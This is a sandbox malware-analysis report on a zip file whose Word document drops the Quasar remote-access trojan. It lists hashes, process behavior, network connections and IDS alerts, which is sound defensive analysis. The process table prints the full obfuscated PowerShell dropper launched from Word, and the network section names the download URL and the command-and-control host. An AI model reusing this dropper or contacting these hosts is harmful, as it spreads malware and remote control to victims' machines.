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File name:

file.zip

Full analysis: https://app.any.run/tasks/9ec8d865-61a0-4f88-8a17-a5333b46aaaf
Verdict: Malicious activity
Threats:

A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection.

Malware Trends Tracker     >>>
Analysis date: December 06, 2019, 20:06:47
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
loader
evasion
trojan
rat
quasar
Indicators:
MIME: application/zip
File info: Zip archive data, at least v2.0 to extract
MD5:

F2702BB10D6B66E696C73C39B1FB7099

SHA1:

6A0131527FE3205C8BEC5BF6C70C2101BD8A4F25

SHA256:

D383C824E0629354E14726BC0458C3592B69BF0AC622F6A287FF81FE44E5A782

SSDEEP:

3072:qvsCuKiw6908SsT/n6Ch9nDUNqFisXtOPAzg5in:kxR58ZT/Zh9nDWEisXzSin

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Application was dropped or rewritten from another process

      • z9d7e5.exe (PID: 3996)
      • z9d7e5.exe (PID: 3284)
      • Mp3.exe (PID: 3680)
      • Mp3.exe (PID: 2932)

    • Starts Visual C# compiler

      • powershell.exe (PID: 3704)

    • Executes PowerShell scripts

      • WINWORD.EXE (PID: 2832)

    • Unusual execution from Microsoft Office

      • WINWORD.EXE (PID: 2832)

    • Downloads executable files from the Internet

      • powershell.exe (PID: 3704)

    • Changes the autorun value in the registry

      • z9d7e5.exe (PID: 3996)
      • z9d7e5.exe (PID: 3284)
      • Mp3.exe (PID: 2932)
      • Mp3.exe (PID: 3680)

    • QUASAR was detected

      • z9d7e5.exe (PID: 3284)
      • Mp3.exe (PID: 2932)

  • SUSPICIOUS

    • Executable content was dropped or overwritten

      • powershell.exe (PID: 3704)
      • z9d7e5.exe (PID: 3284)

    • Creates files in the user directory

      • powershell.exe (PID: 3704)
      • z9d7e5.exe (PID: 3284)
      • Mp3.exe (PID: 2932)

    • Starts itself from another location

      • z9d7e5.exe (PID: 3284)

    • Application launched itself

      • z9d7e5.exe (PID: 3996)
      • Mp3.exe (PID: 3680)

    • Checks for external IP

      • z9d7e5.exe (PID: 3284)
      • Mp3.exe (PID: 2932)

  • INFO

    • Creates files in the user directory

      • WINWORD.EXE (PID: 2832)

    • Manual execution by user

      • WINWORD.EXE (PID: 2832)

    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 2832)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.zip | ZIP compressed archive (100)

EXIF

ZIP

ZipRequiredVersion: 788
ZipBitFlag: 0x0001
ZipCompression: Deflated
ZipModifyDate: 2019:12:06 20:04:24
ZipCRC: 0x329eb405
ZipCompressedSize: 144257
ZipUncompressedSize: 167986
ZipFileName: 7f2d58fc465891c6710621fc812cff22690b16079519da4f77c246a4efbcf634.bin
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
48
Monitored processes
9
Malicious processes
5
Suspicious processes
0

Behavior graph

Click at the process to see the details
start drop and start drop and start winrar.exe no specs winword.exe no specs powershell.exe csc.exe cvtres.exe no specs z9d7e5.exe #QUASAR z9d7e5.exe mp3.exe #QUASAR mp3.exe

Process information

PID
CMD
Path
Indicators
Parent process
2152"C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\admin\AppData\Local\Temp\file.zip"C:\Program Files\WinRAR\WinRAR.exe—explorer.exe
User:
admin
Company:
Alexander Roshal
Integrity Level:
MEDIUM
Description:
WinRAR archiver
Exit code:
0
Version:
5.60.0
2832"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\Desktop\file.doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Version:
14.0.6024.1000
3704powershell -WindowStyle Hidden function ve59df7 {param($hf9463)$w176c81='z8d8ae6';$e32794='';for ($i=0; $i -lt $hf9463.length;$i+=2){$lc22fc=[convert]::ToByte($hf9463.Substring($i,2),16);$e32794+=[char]($lc22fc -bxor $w176c81[($i/2)%$w176c81.length]);}return $e32794;} $q65bb = '0f4b0d56064565034b105d0c5e4309510a5f41364f094c01554f3743144c0d55044b7f144c014a0e15651f4a1251020045414d17510f02162941174c0408183e51055f0f0a450e51074b5a104513560318321c450e5d0916282a0d0f4b0d56064565034b105d0c4b781f4c5f356b154318540d5b41065a1b4b1718150750185c51433a215a167109480e1742521a0f5d130b53160b561a4d20580e4a1d680e0c580e05467f041166085707790501441f4b171a4838160a4d0654080616094c054c0806161f40105d130b1633561068151716175c060a544d7f144c344c13455c430e06094d164208510a5f4113031e5c555d044c0d217c0854280846154a1010430e53085601545257145618215615174f2a570d5615450b5a1a285700017a135a1659131c145365444814075a135b444b150442135b445d191153085644710f11660e4a444c0307024d0c4c4b15175f145f445553530e49115f6325095a3355145713111e5853014a0f005a490a46144120580e4a1d680e0c580e05466e0817420f590868130a421f5b101a4838160a4d0654080616094c054c0806161f40105d130b1618570b544100551c0e0110280b422a4c16181901551b5d065e4d307f144c344c13454f1c0f015b505d1a5a4d0d5615455018015d0b584916154d1018140c580e18010d0457521c0e4d033a215a167109480e1742521a2f5d130b53160b561605095a5814447d0f114403680b510f110b586a10542c0a401f7501550e174f5814446b04117a1b4b107d131759080502590d16535365444b150442135b445d1911530856444e0e0c525a5e5c0f56535252710a4c3111445a555d0e55071a335610681517160c0e015e59500e56510a4c410955420a53115a154318540d5b4116421b4c0d5b410c580e180b0c04015052111f710f11660e4a445f580153190950185c4542185a500f554d401f0d5d5c07521e5809060d5454014f09505e5154031b09521a484c0d135e4c5f580153190950055c2c580e68104a4f3f5308574d43060a4215181d5a5454551c5d5f45280b422a4c1618095c0e1b5c59550507044f1003010500554b0c484e04500f1e5e53104356544f0d550f5454054808520d5654024d5955095400064d08540c55471f53030d5e490d0f425900055c2c580e68104a4f3f5308574d43060a4215181d5a5454551c5d5f45342c580e68104a41040f4e5d525904581e2f710a4c311144530d5f4d080b425a53505b50010e4e05540308031e5b5d075e57001e12015c59054957430c010e00001a4a4050084d0a430e180f0c025452420c4d111a02590e574441035007195e01031c274f0e5d3f65410003480d525c5c1e06020b5514511d501c14544058554b41710a4c3111445a52530f5052504775054a120d57161625540d0a55327f085703045a520b4d032c0444095005544f26590a414c5d5457034c5c48084d0f014d09535e4d561f415e5c0f5653525256014f412c580e68104a490d0f42590016350a7f144c520c494c1d4a40540850071f5652530f505250560b4d031807034b5b025d5b45611f5a27540800580e18170a5004014756014f413253187b0851040b4252115f4b15175f145f44525904041f0e597d0f135f08570a55040b42547f014c270a5a1e5d166800115e527d0a4e08175914550156154b650a5d07510009701554005d134b770a48085102044213570a7c001157531346643d1f0f1e0f010d434e401f0d5d5c07521e580d500d0554554f5c46115a16044b595316250a4114540b5905235f165d4c4e04500f1e5e53104354044e5b5508555d03180c05095854034f0c54085050064d08500c5554014f08545a5501074808540959540f4f0f540150520743085c0d5250024f5c555b54011453140e000057534c115f68130a551f4b176b1504440e710a5e0e45574b0e53005758581f4f4468130a551f4b176b1504440e710a5e0e4d5c4259565d574c0d2a4a0b5b041645546b105913111e1b09520f59531f414a014c1417585a085f45111054165107181211570e51071812114413560318170003435c020f49164208510a5f4116031f5d550a481e450e4a0d5606455c430e06095c474c425c5c59045314414b104a080b515a4c065a555202476b104a080b51547d0948151c0d1c571610080b425a5159085a0c0a090d015d505718365d0a5f150d0d1313590a481e54034c01180c0154480d597b0e0b401f4a1016350a74034c01101250531f095616321054094c16510f021e131456114d54005303105a0351014e135910020d5708114c550507044f183a180b5c0018093f10084a04531841180b5c0018094a74040b510e5039115a18441f4c114a0f4542185a500f555e4b07'; $q65bb2 = ve59df7($q65bb); Add-Type -TypeDefinition $q65bb2; [tbfbd5]::o4edf(); C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
WINWORD.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
1820"C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\admin\AppData\Local\Temp\suzmnsg7.cmdline"C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Visual C# Command Line Compiler
Exit code:
0
Version:
8.0.50727.4927 (NetFXspW7.050727-4900)
2928C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\admin\AppData\Local\Temp\RES232E.tmp" "c:\Users\admin\AppData\Local\Temp\CSC232D.tmp"C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe—csc.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft® Resource File To COFF Object Conversion Utility
Exit code:
0
Version:
8.00.50727.4940 (Win7SP1.050727-5400)
3996"C:\Users\admin\AppData\Roaming\z9d7e5.exe" C:\Users\admin\AppData\Roaming\z9d7e5.exe
powershell.exe
User:
admin
Company:
Boldint (BOLD)
Integrity Level:
MEDIUM
Description:
IXDS
Exit code:
0
Version:
18.10.19.19
3284"C:\Users\admin\AppData\Roaming\z9d7e5.exe"C:\Users\admin\AppData\Roaming\z9d7e5.exe
z9d7e5.exe
User:
admin
Company:
Boldint (BOLD)
Integrity Level:
MEDIUM
Description:
IXDS
Exit code:
0
Version:
18.10.19.19
3680"C:\Users\admin\AppData\Roaming\AppData\Mp3.exe"C:\Users\admin\AppData\Roaming\AppData\Mp3.exe
z9d7e5.exe
User:
admin
Company:
Boldint (BOLD)
Integrity Level:
MEDIUM
Description:
IXDS
Exit code:
0
Version:
18.10.19.19
2932"C:\Users\admin\AppData\Roaming\AppData\Mp3.exe"C:\Users\admin\AppData\Roaming\AppData\Mp3.exe
Mp3.exe
User:
admin
Company:
Boldint (BOLD)
Integrity Level:
MEDIUM
Description:
IXDS
Version:
18.10.19.19
Total events
2 955
Read events
1 774
Write events
0
Delete events
0

Modification events

No data
Executable files
2
Suspicious files
3
Text files
4
Unknown types
6

Dropped files

PID
Process
Filename
Type
2152WinRAR.exeC:\Users\admin\AppData\Local\Temp\Rar$DRb2152.33209\7f2d58fc465891c6710621fc812cff22690b16079519da4f77c246a4efbcf634.bin —
MD5:—
SHA256:—
2832WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVR11F7.tmp.cvr —
MD5:—
SHA256:—
3704powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\IBYFIPPDW22E9JFTOAVH.temp —
MD5:—
SHA256:—
2928cvtres.exeC:\Users\admin\AppData\Local\Temp\RES232E.tmp —
MD5:—
SHA256:—
1820csc.exeC:\Users\admin\AppData\Local\Temp\suzmnsg7.dll —
MD5:—
SHA256:—
1820csc.exeC:\Users\admin\AppData\Local\Temp\suzmnsg7.out —
MD5:—
SHA256:—
3704powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF3a1fd2.TMPbinary
MD5:35375F3D71AE42AA9777154D256B33BF
SHA256:BCFF55E0934722E7952EA75D73AE7CE376E4ADBC73DE5E71D629975E9EAC87EF
3704powershell.exeC:\Users\admin\AppData\Local\Temp\suzmnsg7.cmdlinetext
MD5:58D1BA0D824D19AC726A33D024DECE16
SHA256:446A08925E537EAE9249D9D90FDE333A4FA105FC4C4BB41D356316ED2727B1F7
1820csc.exeC:\Users\admin\AppData\Local\Temp\suzmnsg7.pdbpdb
MD5:5A18C17578023B58074A2CF56539C8CC
SHA256:B273366449DB75CD0CAAD1ADD15E2D5E875A5F089DAB245627C72BC8E051609B
2832WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\file.doc.LNKlnk
MD5:030B1E5D9356AA4637A9B1D8676D71B2
SHA256:526055BD875265362501AE27CB9D29D2BC08960AC81DC167AB057C8E13B65B94
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
3
TCP/UDP connections
4
DNS requests
5
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
3284
z9d7e5.exe
GET
200
208.95.112.1:80
http://ip-api.com/json/
unknown
text
260 b
shared
3704
powershell.exe
GET
200
52.15.74.209:80
http://old-farmhouse.com/xme.exe
US
executable
780 Kb
suspicious
2932
Mp3.exe
GET
200
208.95.112.1:80
http://ip-api.com/json/
unknown
text
260 b
shared
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2932
Mp3.exe
208.95.112.1:80
ip-api.com
IBURST
—
malicious
3284
z9d7e5.exe
208.95.112.1:80
ip-api.com
IBURST
—
malicious
2932
Mp3.exe
194.5.97.31:5490
mailsdc61.ga
—
FR
malicious
3704
powershell.exe
52.15.74.209:80
old-farmhouse.com
Amazon.com, Inc.
US
suspicious

DNS requests

Domain
IP
Reputation
old-farmhouse.com
  • 52.15.74.209
suspicious
ip-api.com
  • 208.95.112.1
shared
mailsdc61.ga
  • 194.5.97.31
malicious

Threats

PID
Process
Class
Message
3704
powershell.exe
Potentially Bad Traffic
ET CURRENT_EVENTS Terse alphanumeric executable downloader high likelihood of being hostile
3704
powershell.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
3704
powershell.exe
Potentially Bad Traffic
ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download
3284
z9d7e5.exe
Potential Corporate Privacy Violation
ET POLICY External IP Lookup ip-api.com
3284
z9d7e5.exe
Potential Corporate Privacy Violation
AV POLICY Internal Host Retrieving External IP Address (ip-api. com)
3284
z9d7e5.exe
A Network Trojan was detected
REMOTE [PTsecurity] Quasar.RAT IP Lookup
2932
Mp3.exe
Potential Corporate Privacy Violation
ET POLICY External IP Lookup ip-api.com
2932
Mp3.exe
Potential Corporate Privacy Violation
AV POLICY Internal Host Retrieving External IP Address (ip-api. com)
2932
Mp3.exe
A Network Trojan was detected
REMOTE [PTsecurity] Quasar.RAT IP Lookup
—
—
Potentially Bad Traffic
ET INFO DNS Query for Suspicious .ga Domain
2 ETPRO signatures available at the full report
Process
Message
csc.exe
*** HR originated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\copyout.cpp, line 1302
csc.exe
*** HR propagated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
csc.exe
*** HR propagated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
csc.exe
*** HR propagated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
csc.exe
*** HR originated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\copyout.cpp, line 1302
csc.exe
*** HR propagated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
csc.exe
*** HR originated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\copyout.cpp, line 1302
csc.exe
*** HR propagated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
csc.exe
*** HR originated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\copyout.cpp, line 1302
csc.exe
*** HR propagated: -2147024774 *** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
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file.zip